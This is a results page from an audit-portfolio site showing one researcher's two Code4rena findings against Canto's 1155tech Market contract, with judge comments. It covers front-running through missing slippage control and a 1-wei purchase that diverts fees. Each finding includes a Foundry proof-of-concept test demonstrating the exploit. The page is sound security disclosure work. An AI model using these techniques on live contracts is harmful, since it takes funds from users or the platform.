Canto Application Specific Dollars and Bonding Curves for 1155s - max10afternoon's results

Tokenizable bonding curves using a Stablecoin-as-a-Service token

General Information

Platform: Code4rena

Start Date: 13/11/2023

Pot Size: $24,500 USDC

Total HM: 3

Participants: 120

Period: 4 days

Judge: 0xTheC0der

Id: 306

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 66/120

Findings: 2

Award: $5.45

QA:
grade-b

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L174

Vulnerability details

Impact

The Market contract uses a bonding curve to compute the price of the assets being bought or sold, both the buy and the sell function, don't apply any of slippage control meaning that they can both be front ran for a profit.

Proof of Concept

Both the buy and the sell function, are using a bonding curve to compute the price of the shares. using the getBuyPrice and the getSellPrice functions:

function getBuyPrice(uint256 _id, uint256 _amount) public view returns (uint256 price, uint256 fee) { // If id does not exist, this will return address(0), causing a revert in the next line address bondingCurve = shareData[_id].bondingCurve; (price, fee) = IBondingCurve(bondingCurve).getPriceAndFee(shareData[_id].tokenCount + 1, _amount); }
function getSellPrice(uint256 _id, uint256 _amount) public view returns (uint256 price, uint256 fee) { // If id does not exist, this will return address(0), causing a revert in the next line address bondingCurve = shareData[_id].bondingCurve; (price, fee) = IBondingCurve(bondingCurve).getPriceAndFee(shareData[_id].tokenCount - _amount + 1, _amount); }

This functions are both, internally calling LinearBondingCurve.getPriceAndFee(uint256 shareCount, uint256 amount), which will return the price of the assets and fees:

function getPriceAndFee(uint256 shareCount, uint256 amount) external view override returns (uint256 price, uint256 fee) { for (uint256 i = shareCount; i < shareCount + amount; i++) { uint256 tokenPrice = priceIncrease * i; price += tokenPrice; fee += (getFee(i) * tokenPrice) / 1e18; } }

In short, getPriceAndFee is meant to implement linear bonding curve: buying more assets will increase the price, while selling them will decrease it.

Since neither buy or sell have slippage control, anyone can front run a buy call with a buy of their own (increasing the price), let the user's buy to be executed (further increasing the price), and then sell their asset at the increased price. For as long as the price increase outweighs the fee cost, this will be profitable, while increasing the price paid by the user (The same, but in the opposite order could be done with sell).

Here is a foundry script showing that such scenario is possible and profitable. Place it in the /1155tech-contracts/src/test/ folder to preserve dependencies:

pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../Market.sol"; import "../bonding_curve/LinearBondingCurve.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "forge-std/console.sol"; contract MockERC20 is ERC20 { constructor( string memory name, string memory symbol, uint256 initialSupply ) ERC20(name, symbol) { _mint(msg.sender, initialSupply); } function mint() external { _mint(msg.sender, 1000e18); } function burn() external { _burn(msg.sender, balanceOf(msg.sender)); } } contract MarketTest is Test { Market market; LinearBondingCurve bondingCurve; MockERC20 token; uint256 constant LINEAR_INCREASE = 1e18 / 1000; address account1; address account2; address owner; function setUp() public { bondingCurve = new LinearBondingCurve(LINEAR_INCREASE); token = new MockERC20("Mock Token", "MTK", 1e32); owner = address(0x123); account1 = address(1); account2 = address(2); vm.prank(owner); market = new Market("http://uri.xyz", address(token)); } function testFrontRun() public { //set up token.approve(address(market), type(uint256).max); vm.startPrank(account1); token.mint(); token.approve(address(market), type(uint256).max); vm.stopPrank(); vm.startPrank(owner); market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); uint shareID1 = market.createNewShare("Test Share1", address(bondingCurve), "metadataURI"); vm.stopPrank(); //PoC uint256 frontrunnerBalanceBefore = token.balanceOf(account1); console.log(frontrunnerBalanceBefore); vm.prank(account1); market.buy(shareID1, 100); //frontrunner buys market.buy(shareID1, 100); //regular user deposits vm.prank(account1); market.sell(shareID1,100); //frontrunner sells uint256 frontrunnerBalanceAfter = token.balanceOf(account1); console.log(frontrunnerBalanceAfter); assertGt(frontrunnerBalanceAfter, frontrunnerBalanceBefore); } }

buy and sell could allow the user to specify the minimum amount of tokens to receive in return

Assessed type

Other

#0 - c4-pre-sort

2023-11-18T10:30:13Z

minhquanym marked the issue as duplicate of #12

#1 - c4-judge

2023-11-28T23:14:14Z

MarioPoneder changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-11-28T23:33:53Z

MarioPoneder marked the issue as satisfactory

Awards

4.0797 USDC - $4.08

Labels

bug
downgraded by judge
grade-b
insufficient quality report
QA (Quality Assurance)
Q-35

External Links

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L293

Vulnerability details

Impact

A user, when tokensInCirculation = 0, can precede their buy call, with a 1 wei purchase, from a different account, to get a 33% discount on the fees, causing a loss to the platform. Or they can front run a large deposit from another user with a 1 wei purchase, causing a loss to the platform while profiting them self (depending on the prices).

Proof of Concept

Users can buy shares, calling the buy function:

function buy(uint256 _id, uint256 _amount) external { require(shareData[_id].creator != msg.sender, "Creator cannot buy"); (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee); // The reward calculation has to use the old rewards value (pre fee-split) to not include the fees of this buy // The rewardsLastClaimedValue then needs to be updated with the new value such that the user cannot claim fees of this buy uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id); // Split the fee among holder, creator and platform _splitFees(_id, fee, shareData[_id].tokensInCirculation); rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled; shareData[_id].tokenCount += _amount; shareData[_id].tokensInCirculation += _amount; tokensByAddress[_id][msg.sender] += _amount; if (rewardsSinceLastClaim > 0) { SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim); } emit SharesBought(_id, msg.sender, _amount, price, fee); }

Notice that the fees' parameters are updated before "minting" the new shares, meaning that the fees from that transaction won't be distributed to the freshly minted tokens.

The buy function internally calls _splitFees to distribute the fees between the creator, the holders and the platform:

function _splitFees( uint256 _id, uint256 _fee, uint256 _tokenCount ) internal { uint256 shareHolderFee = (_fee * HOLDER_CUT_BPS) / 10_000; uint256 shareCreatorFee = (_fee * CREATOR_CUT_BPS) / 10_000; uint256 platformFee = _fee - shareHolderFee - shareCreatorFee; shareData[_id].shareCreatorPool += shareCreatorFee; if (_tokenCount > 0) { shareData[_id].shareHolderRewardsPerTokenScaled += (shareHolderFee * 1e18) / _tokenCount; } else { // If there are no tokens in circulation, the fee goes to the platform platformFee += shareHolderFee; } platformPool += platformFee; }

Notice that buy calls _splitFees, with shareData[_id].tokensInCirculation as the _tokenCount parameter, meaning that:

  1. when tokensInCirculation is 0, the shareHolderFee cut of the fees should go to the platform
  2. when tokensInCirculation is 1, all the shareHolderFee cut will go to the only share existing.

This opens up two scenarios:

  1. When tokensInCirculation = 0 (either because of NFT minting or if the user is the first buyer), a user can precede their "real" deposit with a 1 wei buy from another account, this will cause the tokensInCirculation to be > 0, meaning that the shareHolderFee cut won't go to the platform, also since the token minted will be the only token present in shareData[_id].tokensInCirculation, all the shareHolderFee fees from the upcoming deposit will go the account that has previously deposited, which is also controlled by the user, resulting in a discount. If the deposit is large enough this can result in an substantial loss to the platform, as the 33% fee cut of the holders, should go to it when tokensInCirculation = 0.

  2. When tokensInCirculation = 0 (either because of NFT minting or if the user is the first buyer), a user can front run the next deposit by other users with a 1 wei buy (or simply buy 1 wei worth of shares and wait for the first deposit to happen), since they will hold the only existing share, they will get the entire 33% fee cut from the next deposit (which would have gone to the platform otherwise), at the price of only 1 wei of shares, revenue that should have gone to the platform instead. Since gas fees on Canto are very cheap this will be often profitable.

Here is a foundry script that shows both scenarios. Place it in the /1155tech-contracts/src/test/ folder to preserve dependencies:

pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../Market.sol"; import "../bonding_curve/LinearBondingCurve.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "forge-std/console.sol"; contract MockERC20 is ERC20 { constructor( string memory name, string memory symbol, uint256 initialSupply ) ERC20(name, symbol) { _mint(msg.sender, initialSupply); } function mint() external { _mint(msg.sender, 1000e18); } function burn() external { _burn(msg.sender, balanceOf(msg.sender)); } } contract MarketTest is Test { Market market; LinearBondingCurve bondingCurve; MockERC20 token; uint256 constant LINEAR_INCREASE = 1e18 / 1000; address account1; address account2; address owner; function setUp() public { bondingCurve = new LinearBondingCurve(LINEAR_INCREASE); token = new MockERC20("Mock Token", "MTK", 1e32); owner = address(0x123); account1 = address(1); account2 = address(2); vm.prank(owner); market = new Market("http://uri.xyz", address(token)); } function testSelfDiscount() public { //set up token.approve(address(market), type(uint256).max); vm.startPrank(account2); token.mint(); token.approve(address(market), type(uint256).max); vm.stopPrank(); vm.startPrank(account1); token.mint(); token.approve(address(market), type(uint256).max); vm.stopPrank(); vm.startPrank(owner); market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); uint shareID1 = market.createNewShare("Test Share1", address(bondingCurve), "metadataURI"); uint shareID2 = market.createNewShare("Test Share2", address(bondingCurve), "metadataURI"); vm.stopPrank(); assertEq(token.balanceOf(owner), 0); /// User buys regularly /// uint256 userInitialBalance = token.balanceOf(address(this)); market.buy(shareID1, 100); market.claimHolderFee(shareID1); //should be 0 uint256 tokenSPentByUserOnShare1 = userInitialBalance - token.balanceOf(address(this)); //how much user has spent console.log(tokenSPentByUserOnShare1); vm.prank(owner); market.claimPlatformFee(); uint256 regularRevenueFromfees = token.balanceOf(owner); //how much the platform has profited console.log(regularRevenueFromfees); //reset vm.prank(owner); token.burn(); assertEq(token.balanceOf(owner), 0); /// User buys maliciously /// userInitialBalance = token.balanceOf(account2) + token.balanceOf(account1); vm.prank(account1); market.buy(shareID2, 1); vm.prank(account2); market.buy(shareID2, 99); vm.prank(account1); market.claimHolderFee(shareID2); uint256 tokenSPentByUserOnShare2 = userInitialBalance - (token.balanceOf(account2) + token.balanceOf(account1)); console.log(tokenSPentByUserOnShare2); vm.prank(owner); market.claimPlatformFee(); uint256 decreasedRevenueFromfees = token.balanceOf(owner); console.log(decreasedRevenueFromfees); //results assertGt(tokenSPentByUserOnShare1, tokenSPentByUserOnShare2); //The user on share 2 got a discount assertGt(regularRevenueFromfees, decreasedRevenueFromfees); //While the platform has lost revenue } function testFrontRun() public { //set up token.approve(address(market), type(uint256).max); vm.startPrank(account1); token.mint(); token.approve(address(market), type(uint256).max); vm.stopPrank(); vm.startPrank(owner); market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); uint shareID1 = market.createNewShare("Test Share1", address(bondingCurve), "metadataURI"); vm.stopPrank(); //PoC uint256 frontrunnerBalanceBefore = token.balanceOf(account1); console.log(frontrunnerBalanceBefore); vm.prank(account1); market.buy(shareID1, 1); //frontrunner buys 1 share market.buy(shareID1, 100); //regular user deposits vm.prank(account1); market.claimHolderFee(shareID1); uint256 frontrunnerBalanceAfter = token.balanceOf(account1); console.log(frontrunnerBalanceAfter); assertGt(frontrunnerBalanceAfter, frontrunnerBalanceBefore); } }

A minimum deposit limit would make those scenarios disadvantageous.

Assessed type

Other

#0 - c4-pre-sort

2023-11-20T15:43:54Z

minhquanym marked the issue as insufficient quality report

#1 - MarioPoneder

2023-11-29T17:11:12Z

Initial edge-case:

A user, when tokensInCirculation = 0, ...

#2 - c4-judge

2023-11-29T17:11:18Z

MarioPoneder changed the severity to QA (Quality Assurance)

#3 - c4-judge

2023-11-29T22:34:56Z

MarioPoneder marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter